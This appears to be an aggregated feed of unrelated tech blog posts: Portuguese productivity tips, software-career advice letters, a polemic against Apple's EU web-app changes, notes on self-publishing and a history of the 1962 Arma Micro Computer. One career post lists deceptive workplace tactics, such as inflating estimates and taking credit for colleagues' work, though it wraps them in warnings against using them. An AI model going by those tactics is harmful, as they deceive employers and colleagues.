Gerando PDF de documentos com a câmera do iPhone

Anotando aqui pra parar de esquecer: o app Notas do iPhone sabe gerar PDF a partir de fotos de documentos.

Duas imagens do app Notas: uma mostrando o menu da opção Escanear Documentos, e outra com a interface da captura de documentos com a câmera

Em qualquer nota, basta pressionar o botão da câmera e selecionar Escanear Documentos. Se no canto superior da tela aparecer a palavra "Manual" (como na imagem acima), pressione-a para mudar para o modo automático.

A partir daí, é só enquadrar as páginas e elas serão detectadas, capturadas e juntadas ao PDF, até você pressionar Salvar. Coloque as folhas numa superfície com contraste!

O artigo "Gerando PDF de documentos com a câmera do iPhone" foi originalmente publicado no site TRILUX, de Augusto Campos.

What is your unethical CS career’s advice?

Hey there,

First off, kudos to you for having the courage to ask the tough questions that many think but seldom voice. Before we start talking about all the unethical stuff, I’d like to tell you — any unethical behavior takes you only so far. 10 years, 20 years down the road your integrity is crucial, so all of these things will come back to haunt you eventually. Building your career the old way is the only sustainable way I would say, but I can share with you some cheats for your software engineer career that I highly recommend you NOT to use or apply in any way.

The tech industry, with all its innovation and brilliance, isn’t immune to the darker shades of human nature. The climb up the ladder isn’t always a straight line, and sometimes it’s not just about how good you are with code but how well you navigate the office politics and personal agendas.

Let’s first talk about an important topic: visibility and especially the visibiliy of your work that leads to promotions. There are two kinds of people in the company:

  1. Those who hold the whole company on their backs without anyone knowing about it.
  2. Those who tell everyone that the company hangs on their shoulders without actually doing anything.

Both of those are two extremes, you need to find a way to a) make sure you do meaningful work and b) the right people see the work that you do. I don’t think this is unethical, but keep this balance in mind when selecting which project you want to do. You can do 30% of the work and get 70% of the credit.

If you’re not a good programmer — try to make a good first impression and try to be someone that people enjoy working with. Make them laugh, talk with them, help them outside work. You can either be an A+ coder with a B- personality or a B- coder with an A+ personality and it would be equal value.

Pad your estimates. If a ticket needs 1 day to develop, tell it needs 3 days. This way your tickets will always be delivered on time and you’ll have chill life, playing games for two days.

Job hopping does indeed work, if you want to double your salary in 3 years, switch 3 jobs. (Though your future might be limited if people see that you switched 6 jobs in 6 years or similar)

Embellish your performance and take credit for other peoples work during performance reviews. Use the words I instead of We.

Companies will pay you as little as they can get away with. So always start with higher offer negotiating down, not up.

Ok these are all unethical advice that I could remember from the top of my head. I’d like to emphasize yes, the industry does have its share of individuals who’ve advanced not solely on their technical merits but through a mix of strategic networking, taking credit for others’ work, and playing the political game to their advantage. But here’s where I want to draw a line—a big, bold one.

Playing it smart doesn’t mean playing it dirty. The truth is, the tech world is small, and reputations stick. Shortcuts and unethical behaviors might give you a quick boost, but they’re like building your foundation on quicksand. Sooner or later, it’s going to catch up with you.

Now, about navigating office politics—yes, you’ll need to learn how to play the game, but play it with integrity. Understand the dynamics, recognize the power structures, and figure out how to make your voice heard without stepping on others to get there. You can be ambitious and assertive without being deceptive or unethical.

Focus on building your personal brand as someone who is not only technically skilled but also trustworthy and ethical. This is the kind of reputation that opens doors—often ones you didn’t even know existed. Your career will be a reflection of not just what you know but who you are as a person. Be someone who others want to work with, someone who values ethics and integrity above all else and not someone who jumps 3 companies in 3 years or takes credit for someone else’s work.

At the end of the day, it’s your name, your reputation, and your conscience. Play the long game. Build a career you can be proud of, not just for the successes but for how you achieved them.

Cheers,
Vadim

The post What is your unethical CS career’s advice? appeared first on Vadim Kravcenko.

some of my older pixels (2021)

tofupixel:

some of my older pixels (2021)

Ajude a preservar a história da computação

Se você tem livros antigos de TI, tem duas coisas que você poderia fazer com eles:

1) (especialmente se eles estiverem em português) ver se eles já estão no datassette.org e, se não estiverem, falar com eles sobre como melhor digitalizar.

2) caso não possa mais guardá-los, entregar para uma biblioteca ou alguém interessado em preservá-los, como o @[email protected] (veja esta thread).

Lado a lado na minha mesa, 3 livros e um cartão de referência da linguagem Awk, e um livro sobre a história do Unix, todos do século passado

Os livros da foto são parte da minha coleção, que infelizmente eu iniciei tarde demais.

O artigo "Ajude a preservar a história da computação" foi originalmente publicado no site TRILUX, de Augusto Campos.

Home Screen Advantage

After weeks of confusion and intentional chaos, Apple's plan to kneecap the web has crept into view, menacing a PWApocalypse as the March 6th compliance deadline approaches for the EU's Digital Markets Act (DMA).

The view from Cupertino.
The view from Cupertino.

The DMA requires Apple to open the iPhone to competing app stores, and and its lopsided proposal for "enabling" them is getting most of the press. But Apple knows it has native stores right where it wants them. Cupertino's noxious requirements will take years to litigate. Meanwhile, potential competitors are only that.

But Cupertino can't delay the DMA's other mandate: real browsers, downloaded from Apple's own app store. Since it can't keep them from emerging, it's trying to raise costs on competitors and lower their potential to disrupt Apple's cozy monopoly. How? By geofencing browser choice and kneecapping web apps, all while gaslighting users about who is breaking their web apps.

The immediate impact of iOS 17.4 in the EU will be broken apps and lost data, affecting schools, governments, startups, gamers, and anyone else with the temerity to look outside the one true app store for even a second.

The data loss will be catastrophic for many, as will the removal of foundational features like reliable data storage, app-like UI, settings integration, Push Notifications, and unread counts. This will just so happen to render PWAs useless to worldwide businesses looking to reach EU users. A regrettable accident, to be sure.

Apple's interpretation of the DMA appears to be that features not available on March 6th don't need to be shared with competitors, and it doesn't want to share web apps. The solution almost writes itself: sabotage PWAs ahead of the deadline and give affected users, businesses, and competitors minimal time to react.

Cupertino's not just trying to vandalise PWAs and critical re-engagement features for Safari; it's working to prevent any browser from ever offering them on iOS. If Apple succeeds in the next two weeks, it will cement a future in which the mobile web will never be permitted to grow beyond marketing pages for native apps.

By hook or by crook, Apple's going to maintain its home screen advantage.

The business goal is obvious: force firms back into the app store Apple taxes and out of the only ecosystem it can't — at least not directly. Apple's justifications range from unfalsifiable smokescreens to blatant lies, but to know it you have to have a background in browser engineering and the DMA's legalese. The rest of this post will provide that context. Apologies in advance for the length.

If you'd like to stop reading here, take with you the knowledge that Cupertino's attempt to scuttle PWAs under cover of chaos is exactly what it appears to be: a shocking attempt to keep the web from ever emerging as a true threat to the App Store and blame regulators for Apple's own malicious choices.

And they just might get away with it if we don't all get involved ASAP.

Chaos Monkey Business

Two weeks ago, Apple sprung its EU Digital Markets Act (DMA) compliance plans on the world as a fait accomplis.

The last-minute unveil and months of radio silence were calculated to give competitors minimal time to react to the complex terms, conditions, and APIs. This tactic tries to set Apple's proposal as a negotiating baseline, forcing competitors to burn time and money arguing down plainly unacceptable terms before they can enter the market.

For native app store hopefuls, this means years of expensive disputes before they can begin to access an already geofenced market. This was all wrapped in a peevish, belligerant presentation, which the good folks over at The Platform Law Blog have covered in depth.

Much of the analysis has focused on the raw deal Apple is offering native app store competitors, missing the forest for the trees: the threat Apple can't delay by years comes from within.

Deep in the sub-basement of Apple's tower of tomfoolery are APIs and policies that purport to enable browser engine choice. If you haven't been working on browsers for 15 years, the terms might seem reasonable, but to these eyes they're anything but. OWA has a lengthy dissection of the tricks Apple's trying to pull.

Apple's message of hope and optimism for a better web.
Apple's message of hope and optimism for a better web.

The proposals are maximally onerous, but you don't have to take my word for it; here's Mozilla:

We are ... extremely disappointed with Apple’s proposed plan to restrict the newly-announced BrowserEngineKit to EU-specific apps. The effect of this would be to force an independent browser like Firefox to build and maintain two separate browser implementations — a burden Apple themselves will not have to bear.

Apple’s proposals fail to give consumers viable choices by making it as painful as possible for others to provide competitive alternatives to Safari.

This is another example of Apple creating barriers to prevent true browser competition on iOS.

Mozilla spokesperson

The obvious strategy is to raise costs and lower the value of porting browsers to iOS. Other browser vendors have cited exactly these concerns when asked about plans to bring their best products to iOS. Apple's play is to engineer an unusable alternative then cite the lack of adoption to other regulators as proof that mandating real engine choice is unwise.

Instead of facilitating worldwide browser choice in good faith, Apple's working to geofence progress; classic "divide and conquer" stuff, justified with serially falsified security excuses. Odious, brazen, and likely in violation of the DMA, but to the extent that it will now turn into a legal dispute, that's a feature (not a bug) from Apple's perspective.

When you're the monopolist, delay is winning.

But Wait! There's More!

All of this would be stock FruitCo doing anti-competitive FruitCo things, but they went further, attempting to silently shiv PWAs and blame regulators for it. And they did it in the dead of the night, silently disabling important features as close to the DMA compliance deadline as possible.

It's challenging, verging on impossible, to read this as anything but extrordinary bad faith, but Apple's tactics require context to understand. The DMA came into force in 2022, putting everyone (including Apple) on notice that their biggest platforms and products would probably be "designated", and after designation, they would have six months to "comply". The first set of designation decisions went out last Sept, obligating Android, Windows, iOS, Chrome, and Safari to comply no later than March 6th, 2024.

Apple tried everything to <a href='https://www.theregister.com/2023/11/02/apple_safari_browser/'>shrink the scope of enforcement</a> and <a href='https://www.theverge.com/2024/1/8/23961923/apple-app-store-appeal-european-union-digital-markets-act-core-platform-service-gatekeeper'>delay compliance,</a> but in the end had the same two-years of notice and six-months warning from designation as everyone else.
Apple tried everything to shrink the scope of enforcement and delay compliance, but in the end had the same two-years of notice and six-months warning from designation as everyone else.

A maximally aggressive legal interpretation might try to exploit ambiguity in what it means to comply and when responsibilities actually attach.

Does compliance mean providing open and fair access starting from when iOS and Safari were designated, or does compliance obligation only attach six months later? The DMA's text is not ironclad here:

10: The gatekeeper shall comply with the obligations laid down in Articles 5, 6 and 7 within 6 months after a core platform service has been listed in the designation decision pursuant to paragraph 9 of this Article.

DMA Article 3, Clause 10

Firms looking to comply maliciously might try to remove troublesome features just before a compliance deadline, then argue they don't need to share them with competitors becuse they weren't available before the deadline set in. Apple looks set to argue, contra everyone else subject to the DMA, that the moment from which features must be made interoperable is the end of the fair-warning period, not the date of designation.

This appears to be Apple's play, and it stinks to high heavens.

What's At Risk?

Apple's change isn't merely cosmetic. In addition to immediate data loss, FruitCo's change will destroy:

  • App-like UI:
    Web apps are no longer going to look or work like apps in the task manager, systems settings, or any other surface. Homescreen web apps will be demoted to tabs in the default browser.
  • Reliable storage:
    PWAs were the only exemption to Apple's (frankly silly) seven day storage eviction policy, meaning the last safe harbour for anyone trying to build a serious, offline-first experience just had the rug pulled out from under them.
  • Push Notifications:
    Remember how Apple gaslit web developers over Web Push for the best part of a decade? And remember how, when they finally got around to it, they did a comically inept job of it? And recall all the fretting and worry about how shite your Push Notifications look and work for iOS users as a result? Well, rest easy, because they're going away and you won't have to worry your pretty little head any more.
  • App Icon Badging:
    A kissing cousin of Push, Icon Badging allows PWAs to ambiently notify users of new messages, something iOS native apps have been able to do for nearly 15 years.

Removal of one would be a crisis. Together? Apple's engineering the PWApocalypse.

You can't build credible mobile experiences without these features. A social network without notifications? A notetaking app that randomly loses data? Businesses will get the message worldwide: if you want to be on the homescreen and deliver services that aren't foundationally compromised, the only game in town is Apple's app store.

Apple understands even the most aggressive legal theories about DMA timing wouldn't support kneecapping PWAs after March 6th. Even if you believe (as I do) their obligations attached back in September, there's at least an argument to be tested. Cupertino's white-shoe litigators would be laughed out of court and Apple would get fined ridiculous amounts for non-compliance after trying to deny these features to other browsers after the end of the fair-warning period. To preserve the argument for litigation, it was necessary to do the dirty deed ahead of the last plausible deadline.

Not With A Bang, But With A Beta

The first indication something was amiss was a conspicuous lack of APIs for PWA support in the documentation for obviously long-baking BrowserEngineKit, released on Feb 1st alongside Apple's peevish, deeply misleading note that attempted to whitewash malicious compliance in a thin coat of security theatre.

Two days later, after developers inside the EU got their hands on the iOS 17.4 Beta, word started to leak out that PWAs were broken. Nothing about the change was documented in iOS Beta or Safari release notes. Developers filed plaintive bugs and some directly pinged Apple employees, but Cupertino remained shtum. This created panic and confustion as the window for DMA compliance and the inevitable iOS 17.4 final release closed.

Two more betas followed, but no documentation or acknowledgement of the "bug." Changes to the broken PWA behavior were introduced, but Apple failed to acknowledge the issue or confirm that it was intentional (and therefore likely to persist). After two weeks of growing panic from web developers, Apple finally copped to intentionally crippling the only open, tax-free competitor to the app store.

Apple's Feb 15th statement is a masterclass in deflection and deceit. To understand why requires a deep understanding of browsers internals and how Apple's closed PWA — sorry, "home screen web app" — system for iOS works.

TL;DR? Apple's cover story is horseshit, stem to stern. Cupertino oughta be ashamed and we web developers are excused for glowing with incandescent rage over being used as pawns; first ignored, then gaslit, and finally betrayed.

Lies, Damned Lies, and "Still, we regret..."

I really, really hate to do this, but Brandolini's Law dictates that to refute Apple's bullshit, I'm going to need to go through their gibberish excuses line-by-line to explain and translate. This is going to hurt me more than it hurts you.

Q: Why don’t users in the EU have access to Home Screen web apps?

Translation: "Why did you break functionality that has been a foundational part of iOS since 2007?"

To comply with the Digital Markets Act, Apple has done an enormous amount of engineering work to add new functionality and capabilities for developers and users in the European Union — including more than 600 new APIs and a wide range of developer tools.

Translation: "We're so very tired, you see. All of this litigating to avoid compliance tuckered us right out. Plus, those big meanies at the EU made us do work. It's all very unfair."

It goes without saying, but Apple's burden to add APIs it should have long ago provided for competing native app stores has no bearing whatsoever on its obligation to provide fair access to APIs that browser competitors need. Apple also had the same two years warning as everyone else. It knew this was coming, and special pleading at the 11th hour has big "the dog ate my homework" energy.

The iOS system has traditionally provided support for Home Screen web apps by building directly on WebKit and its security architecture. That integration means Home Screen web apps are managed to align with the security and privacy model for native apps on iOS, including isolation of storage and enforcement of system prompts to access privacy impacting capabilities on a per-site basis.

Finally! A recitation of facts.

Yes, iOS has historically forced a pretty busted model on PWAs, but iOS is not unique in providing system settings integration for PWAs. Indeed, many OSes have created the sort of integration infrastructure that Apple describes. These systems leave the question of how PWAs are actually run (and where their storage lives) to the browser that installs them, and the sky has yet to fall. Apple is trying to gussy up their mere preferences as hard requirements without any reasonable justification.

Here we see the outline of a strawman; Apple is insinuating that it can't provide API surface areas to allow the sorts of integrations that others already have. Why? Because it might involve writing a lot of code.

Bless their hearts.

Without this type of isolation and enforcement, malicious web apps could read data from other web apps and recapture their permissions to gain access to a user’s camera, microphone or location without a user’s consent.

Keeping one website from abusing permissions or improperly accessing data from another website is what browsers do. It's a browser's one job.

Correctly separating princpals is the very defintion of a "secure" browser. Every single browser vendor (save Apple) treats subversion of the Same Origin Policy as a showstopping bug to be fixed ASAP. Unbelieveable amounts of engineering go to ensuring browsers overlay stronger sandboxing and more restrictive permissions on top of the universally weaker OS security primitives — iOS very much included.

Browser makers have become masters of origin separation because they run totally untrusted code from all over the internet. Security is paramount because browsers have to be paranoid. They can't just posture about how store reviews will keep users safe; they have to do the work.

Good browsers separate web apps better than bad ones, which makes it particularly rich that Apple of all vendors is directly misleading this way. Apple's decade+ of under-investment in Safari ensured it was much less prepared for Spectre and Meltdown and Solar Winds that alternaties on other OSes. Competing engines had invested hundreds of engineer years into more advanced Site Isolation technology than Apple had, and the iOS browser engine monoculture has put users at risk over and over again as a result.

With that as background, we can start to unpack Apple's garbled claim. What Cupertino is alluding to here is that it does not want to create APIs for syncing permission state that would enable the thin shim apps every PWA-supporting OS uses to make website "first class" in the OS — including iOS today. Further, it doesn't want to add APIs for attributing storage use, or clearing state, or other common management tasks.

If those APIs existed, Apple would still have a management question, which it's misdirections also allude to. But these aren't a problem in practice either. Every browser that would offer PWA support would happily sign up to security terms that required accurate synchronization of permission state between OS surfaces and web origins, in exactly the same way they'd dutifully treat cross-origin subversion as a fatal bug to be hot-fixed.

Apple's excusemaking is a mirror of Cupertino's years of scaremongering about alternate browser engine security, only to take up my proposal more-or-less wholesale when the rubber hit the road. Nothing about this is monumental to build or challenging to manage; FruitCo's just hoping you don't know better. And why would you? The set of people who understand these details generously number in the low dozens.

Browsers also could install web apps on the system without a user’s awareness and consent.

Apple know this is a lie. They retain full control over the system APIs that are called to add icons to the homescreen, install apps, and much else. They can shim in interstitial UI if they feel like doing so. If iOS left this to Safari and did not include these sorts precautions, those are choices Apple has made and has been given two years notice to fix.

Cuptertino seems to be saying "bad things might happen if we continued to do a shit job" and one can't help but agree. However, that's no way out of the DMA's obligations.

Addressing the complex security and privacy concerns associated with web apps using alternative browser engines would require building an entirely new integration architecture that does not currently exist in iOS and was not practical to undertake given the other demands of the DMA and the very low user adoption of Home Screen web apps.

[CITATION NEEDED]

Once again, Apple is counting on the opacity of it's own suppression of the web to keep commenters from understanding the game that's afoot. Through an enervating combination of strategic underinvestment and coerced monoculture, Apple created (and still maintains) a huge gap in discoverability and friction for installing web apps vs. their native competition. Stacking the deck for native has taken many forms:

This campaign of suppression has been widly effective. If users don't know they can install PWAs, it's because Safari never tells them, and until this time last year, neither could any other browser. Developers also struggled to justify building them because Apple's repression extended to neglect of critical features, opening and maininting a substantial capability gap.

If PWAs use on iOS is low, that's a consequence of Apple's own actions. On every other OS where I've seen the data, not only are PWAs a success, they are growing rapidly. Perhaps that's why Apple feels a need to mislead by omission and fail to provide data to back their claim.

And so, to comply with the DMA’s requirements, we had to remove the Home Screen web apps feature in the EU.

Bullshit.

Apple's embedded argument expands to:

  • We don't want to comply with the plain-letter language of the law.
  • To avoid that, we've come up with a legal theory of compliance that's favourable to us.
  • To comply with that (dubious) theory, and to avoid doing any of the work we don't want to do, we've been forced to bump off the one competitor we can't tax.

Neat, tidy, and comprised entirely of bovine excrement.

EU users will be able to continue accessing websites directly from their Home Screen through a bookmark with minimal impact to their functionality. We expect this change to affect a small number of users. Still, we regret any impact this change — that was made as part of the work to comply with the DMA — may have on developers of Home Screen web apps and our users.

Translation: "Because fuck you, that's why"

Apple is under no obligation by the DMA's terms to nuke PWAs.

Windows and Android will continue supporting PWAs just fine. Apple apparently hopes it can convince you to blame regulators for its own choices. Cupertino's counting the element of surprise plus the press's poorly developed understanding of the situation to keep blowback from snowballing into effective oppostion.

The Point

There's no possible way to justify a "Core Technology Fee" tax on an open, interoperable, standardsized platform that competitors would provide secure implementations of for free. What Apple's attempting isn't just some hand-wavey removal of a "low use" feature ([CITATION NEEDED]), it's sabotage of the only credible alternative to its app store monopoly.

A slide from Apple's presentation in Apple v. Epic, attempting to make the claim Epic could have just made a PWA if they didn't like the App Store terms because circa '20 Safari was <em>so</em> capable. <br><br><a href='/2021/04/progress-delayed/'>LOL.</a>
A slide from Apple's presentation in Apple v. Epic, attempting to make the claim Epic could have just made a PWA if they didn't like the App Store terms because circa '20 Safari was so capable.

LOL.

Businesses will get the message: from now on, the only reliable way to get your service under the thumb, or in the notification tray, of the most valuable users in the world is to capitulate to Apple's extortionate App Store taxes.

If the last 15 years are anything to judge by, developers will take longer to understand what's going on, but this is an attempt to pull a "Thoughts on Flash" for the web. Apple's suppression of the web has taken many forms over the past decade, but the common thread has been inaction and anti-competitive scuppering of more capable engines. With one of those pillars crumbling, the knives glint a bit more brightly. This is Apple once and for all trying to relegate web development skills to the dustbin of the desktop.

Not only will Apple render web apps unreliable for Safari users, FruitCo is setting up an argument to prevent competitors from ever delivering features that challenge the app store in future. And it doesn't care who it hurts along the way.

The Mask Is Off

This is exactly what it looks like: a single-fingered salute to the web and web developers. The removal of features that allowed the iPhone to exist at all. The end of Steve Jobs' promise that you'd be able to make great apps out of HTML, CSS, and JS.

For the past few years Apple has gamely sent $1600/yr lawyers and astroturf lobbyists to argue it didn't need to be regulated. That Apple was really on the developer's side. That even if it overstepped occasionally, it was all in the best interest of users.

Tell that to the millions of EU PWA users about to lose data. Tell that to the public services built on open technology. Tell it to the businesses that will fold, having sweated to deliver compelling experiences using the shite tools Apple web developers. Apple's rug pull is anti-user, anti-developer, and anti-competition.

Now we see the whole effort in harsh relief. A web Apple can't sandbag and degrade is one it can't abide. FruitCo's fear and loathing of an open platform it can't tax is palpable. The lies told to cover for avarice are ridiculous — literally, "worthy of ridicule".

It's ok to withhold the benefit of the doubt from Safari and Apple. It's ok to be livid. These lies aren't little or white; they're directly aimed at our future. They're designed to influence the way software will be developed and delivered for decades to come.

If you're as peeved about this as I am, go join OWA in the fight and help them create the sort of pressure in the next 10 days that might actually stop a monopolist with money on their mind.

_Thanks to [Stuart Langride](https://www.kryogenix.org/days/), [Bruce Lawson](https://brucelawson.co.uk/), and [Roderick Gadella](https://webventures.rejh.nl/) for their feedback on drafts of this post._

My coworker rewrote all my code, what should I do?

Dear Robert,

The short answer is — stop getting attached to your code. Now lets continue to a more detailed explanation.

I understand that coming back to find your codebase entirely rewritten has been a tough pill to swallow. It’s a situation many of us have faced at some point in our careers, and while it’s never easy, there are important lessons to be learned here.

First off, it’s crucial to remember that the code we write at work doesn’t belong to us. It belongs to the company. This is a hard truth that takes time to accept. Regardless of how attached you get to the code, how creative you are, how in love you get with the lines that you write — the code is a tool that is used to bring the company some form of value, it’s not your baby that you need to caress.

As you mentioned your coworker is also your senior in terms of experience overall and probably at the company as well. Their decision to rewrite your code, while shocking, was likely made in the project’s best interest, leveraging hindsight and insights that weren’t available when you first wrote the code. You’re saying the code did what it needed to do, but it might be that the senior developer is trying to standardize the way the API endpoints are being developed, and your was next on the list.

I do understand the frustration, and I think the best approach would’ve been to notify you and tell you that it needs to be refactored and improved — but you were on vacation for a month, calling you and asking about your code would go against the company policy. So assume they had their best interest at heart when a) they did not want to disturb you on your sick leave and b) they wanted to improve the codebase overall.

Seeing your work replaced can feel personal, but it’s not. Your situation is actually a golden opportunity for learning. Your coworker, with more experience, has shown a different approach to solving problems. Instead of dwelling on the feeling of loss, try to understand the rationale behind the changes. Set up some 1:1s with them, ask them some question regarding their decisions, maybe it will be more clear to you why the decision was made? Don’t approach this from a negative side. Why was a model-view-controller-repositories structure chosen? What benefits does it bring? This is your chance to dive into these concepts, which might seem daunting but are fundamental to growing as a developer.

I suggest reaching out to your coworker for a detailed discussion. Ask them to walk you through the changes and the reasons behind them. It’s about understanding the larger picture, including company strategy and technical debt reduction, which often influence such decisions.

For the senior development you can suggest improvements to communication. Propose regular check-ins or code reviews with your team. This ensures that everyone is on the same page and that you’re involved in the evolution of the project, even when decisions are made in your absence.

Remember, every developer has had their code criticized or replaced at some point. It’s a normal part of the job. What separates good developers from great ones is the ability to learn from these experiences, to not take them personally, and to use them as stepping stones for improvement.

You mentioned feeling overwhelmed by the new codebase. That’s understandable. But don’t let it hold you back. Set small, achievable goals for yourself. Each piece of the new structure you understand is a victory. And don’t hesitate to ask for help. If your coworker has taken the lead on this, they should be willing to guide you through it.

Finally, detach from your code. You are not your code. It’s a tool, not a reflection of your worth as a developer. Your ability to adapt, learn, and grow is far more valuable than any single piece of code you write. Embrace this as an opportunity to expand your skills and knowledge.

In conclusion, while this situation is challenging, it’s also a powerful opportunity for growth. Approach it with an open mind and a willingness to learn. The skills and insights you gain from this experience will be invaluable as you continue your journey in software development. Eventually you will be the one who’s refactoring someone elses code while they have a month-long sick leave, and the cycle will continue, so keep that in mind next time you think of refactoring.

Cheers,
Vadim

The post My coworker rewrote all my code, what should I do? appeared first on Vadim Kravcenko.

More (self-)publishing thoughts.

I recently got an email asking about self-publishing books, and wanted to summarize my thinking there. Recapping my relevant experience, I’ve written three books:

  1. An Elegant Puzzle was published in 2019 as a manuscript by Stripe Press (e.g. I wrote it and then it was released as is), which has sold about 100,000 copies (96k through the end of 2023, and selling about 4k copies a quarter over past two years),
  2. Staff Engineer which I self-published in 2021, which has sold about 70,000 copies (also selling roughly 4k copies a quarter over the past two years)
  3. The Engineering Executive’s Primer which was published by O’Reilly earlier this month. It’s too early to have sales numbers at this point

Putting those in context, my sense is that these are “very good” numbers, but not “breakout” numbers. For example, my best guess is that a breakout technology book like Accelerate or The Manager’s Path has sold something closer to 300-500k copies.

I’ve also written about publishing a few times:

Building on that, the general elements I’d encourage someone to think through if they’re deciding whether to self-publishing:

  • There’s a learning curve to publishing book, and I’ve learned a lot from every book I’ve written. Both working with publishers and self-publishing accelerate your learning curve. To maximize learning, I’d recommend doing a mix of both. If your goal is to only write a single book, I’d recommend working with a publisher already has gone through the learning curve and can guide you on navigate it as well

  • Publishers might not take your book, which means sometimes you can’t publish a given book with a publisher. I’d generally argue that means you should work on your own distribution before trying to publish the book. Having your own distribution is critical to getting a publisher to take your book, and also critical to being able to self-publish successfully. If you can’t find a publisher willing to take your book, I think there’s a lot of risk in self-publishing it (not because self-publishing is inherently risky, but because publishers filter for the sorts of criteria that derisk self-publishing), and you should reflect on that

  • Pricing control is lost when you work with a publisher. Stripe Press prices to maximize distribution, selling a hard cover at roughly $20. O’Reilly prices to maximize profit, selling a paperback at roughly $40. Neither of these is right or wrong, but your goals may or may not align with your publisher’s pricing strategy. When self-publishing, there’s no potential for misaligning with the publisher’s pricing strategy. Of course, pricing strategy also impacts your compensation a great deal, e.g. I probably make twice as much from each copy of Staff Engineer sold as I do from a copy of The Engineering Executive’s Primer, despite the fact that Staff Engineer costs half as much.

  • Pring quality is highly variable across publishing solutions. In particular, Kindle Direct Publishing–which is the dominant on-demand printing solution for self-published books–has highly variable print quality. In general, on-demand print quality is variable because there are 10,000s of small batch print runs. Even when print quality is high 99% of the time, it still means shipping some badly printed books. Anecdotally, my sense is that quality is highly dependent on the specific region where your book is printed, so you might never get a badly printed copy, but many of your readers in another region might frequently receive low quality print. This has been the largest “hidden tax” of self-publishing for me.

    If you work with a publisher, they handle this, and their large volume print runs are generally error free because they are infrequent and represent a major investment for both the publisher and printer

  • Creative control may be significantly lower working with a publisher on many dimensions. This ranges from creating your book’s cover to decisions about how content and topics are treated. Similar to pricing strategy, you can largely derisk this issue upfront by understanding what a given publisher wants in these regards, but you can get into a lot of trouble if you don’t align early

  • Editorial support is highly variable across publishers and editors within publishers I’ve adored every publisher and editor I’ve worked with, but I think that’s largely due to good luck (asking around about a given editor goes a long way here)

  • Other sorts of support is highly variable, but working with a publisher you don’t have to find the folks, and generally you’re going to run into fewer operational issues because you’re working with folks who publish books frequently

  • Release timing and control is very low when you work with a publisher. When you self-publish, particularly with a print on-demand solution, you have immense control here

  • Payment nuances are someone else’s problem if you work with a publisher. If you’re an individual author who is taking full revenue (and costs), this is trivial. However, if you want to split revenue from a book, this is going to be fairly annoying as a self-publisher

  • International rights management is pretty painstaking as a self-published author, although if you’re lucky you can find an agency to work with like Nordlyset who take on most of the burden for this. You can do this yourself (and I did for one language, just to understand the process), but you won’t have a good sense of the quality of those international publishers, how to do the negotiations, and so on. Not all publishers will handle this for you either, for example I work with Nordlyset for both my Stripe Press and self-published books, but O’Reilly handles this for me

In sum, I don’t think there’s any right decision on whether or not to self-publish, it’s all very context dependent. The only thing I’d push back on is the sense that there’s only one obviously right decision, that statement is resoundingly untrue from my experience.

Anatomia de uma Nota no Obsidian

print de janela do Obsidian indicando com setas coloridas o nome e o título da nota em edição

A Nota é o equivalente a um arquivo de texto, ou a uma página na Wikipédia. Seus elementos fundamentais são o Nome – exibido no alto da janela de edição – e o Corpo de Texto, que corresponde às linhas livremente editáveis.

Nomes (setas laranjas na imagem) são importantes no Obsidian, porque é a partir deles que fazemos links para as Notas. Eles não são o mesmo que títulos (seta rosa) - que você também pode definir à vontade.

O artigo "Anatomia de uma Nota no Obsidian" foi originalmente publicado no site TRILUX, de Augusto Campos.

Os modos de edição no Obsidian

Se você usa os recursos de formatação, considere qual dos dois modos de edição prefere: o Live Preview, que exibe tudo formatado (exceto o trecho próximo ao cursor) enquanto edita, e o Source Mode, que exibe sem formatar.

Eu prefiro o Live Preview, mas quando preciso, alterno entre os modos usando as reticências no canto superior da janela de edição.

O artigo "Os modos de edição no Obsidian" foi originalmente publicado no site TRILUX, de Augusto Campos.

Mentirinhas #2119

Temos camiseta do pato sim -> LINK

O post Mentirinhas #2119 apareceu primeiro em Mentirinhas.

The first microcomputer: The transfluxor-powered Arma Micro Computer from 1962

What would you say is the first microcomputer?1 The Apple I from 1976? The Altair 8800 from 1974? Perhaps the lesser-known Micral N (1973) or Q1 (1972)? How about the Arma Micro Computer from way back in 1962. The Arma Micro Computer was a compact 20-pound transistorized computer, designed for applications in space such as inertial or celestial navigation, steering, radar, or engine control.

Obviously, the Arma Micro Computer is not a microcomputer according to modern definitions, since its processor was made from discrete components. But it's an interesting computer in many ways. First, it is an example of the aerospace computers of the 1960s, advanced systems that are now almost entirely forgotten. People think of 1960s computers as room-filling mainframes, but there was a whole separate world of cutting-edge miniaturized aerospace computers. (Taking up just 0.4 cubic feet, the Arma Micro Computer was smaller than an Apple II.) Second, the Arma Micro Computer used strange components such as transfluxors and had an unusual 22-bit serial architecture. Finally, the Arma Micro Computer evolved into a series of computers used on Navy ships and submarines, the E-2C Hawkeye airborne early warning plane, the Concorde, and even Air Force One.

The Arma Micro Computer

The Arma Micro Computer, with a circuit board on top. Click this image (or any other) for a larger version. Photo courtesy of Daniel Plotnick.

The Arma Micro Computer, with a circuit board on top. Click this image (or any other) for a larger version. Photo courtesy of Daniel Plotnick.

The Micro Computer used 22-bit words, which may seem like a strange size from the modern perspective. But there's no inherent need for a word size to be a power of 2. In particular, the Micro Computer was designed for mathematical calculations, not dealing with 8-bit characters. The word size was selected to provide enough accuracy for its navigational tasks.

Another strange aspect of the Micro Computer is that it was a serial machine, sequentially operating on one bit of a word at a time.2 This approach was often used in early machines because it substantially reduced the amount of hardware required: it only needs a 1-bit data bus and a 1-bit ALU. The downside is that a serial machine is much slower because each 22-bit word takes 22 clock cycles (plus 5 cycles of overhead). As a result, the Micro Computer executed just 36000 operations per second, despite its 1 megahertz clock speed.

Ad for the Arma Micro Computer (called the MICRO here). Source: Electronics, July 27, 1962.

Ad for the Arma Micro Computer (called the MICRO here). Source: Electronics, July 27, 1962.

The Micro Computer had a small instruction set of 19 instructions.3 It included multiply, divide, and square root, instructions that weren't implemented in early microprocessors. This illustrates how early microprocessors were a significant step backward in functionality. Moreover, the multiply, divide, and square root instructions used a separate arithmetic unit, so they could execute in parallel with other arithmetic instructions. Because the Micro Computer needed to interact with spacecraft systems, it had a focus on I/O, with 120 digital inputs or outputs, configured as needed for a particular mission.

Circuits

The Micro Computer was built from silicon transistors and diodes, using diode-transistor logic. The construction technique was somewhat unusual. The basic circuits were the flip-flop, the complementary buffer (i.e. an inverter), and the diode gate. Each basic circuit was constructed on a small wafer, .77 inches on a side.5 The photo below shows wafers for a two-transistor flip-flop and two diode gates. Each wafer had up to 16 connection tabs on the edges. These wafers are analogous to integrated circuits, but constructed from discrete components.

Three circuit modules from the Arma Micro Computer. Image from "The Arma Micro Computer for Space Applications".

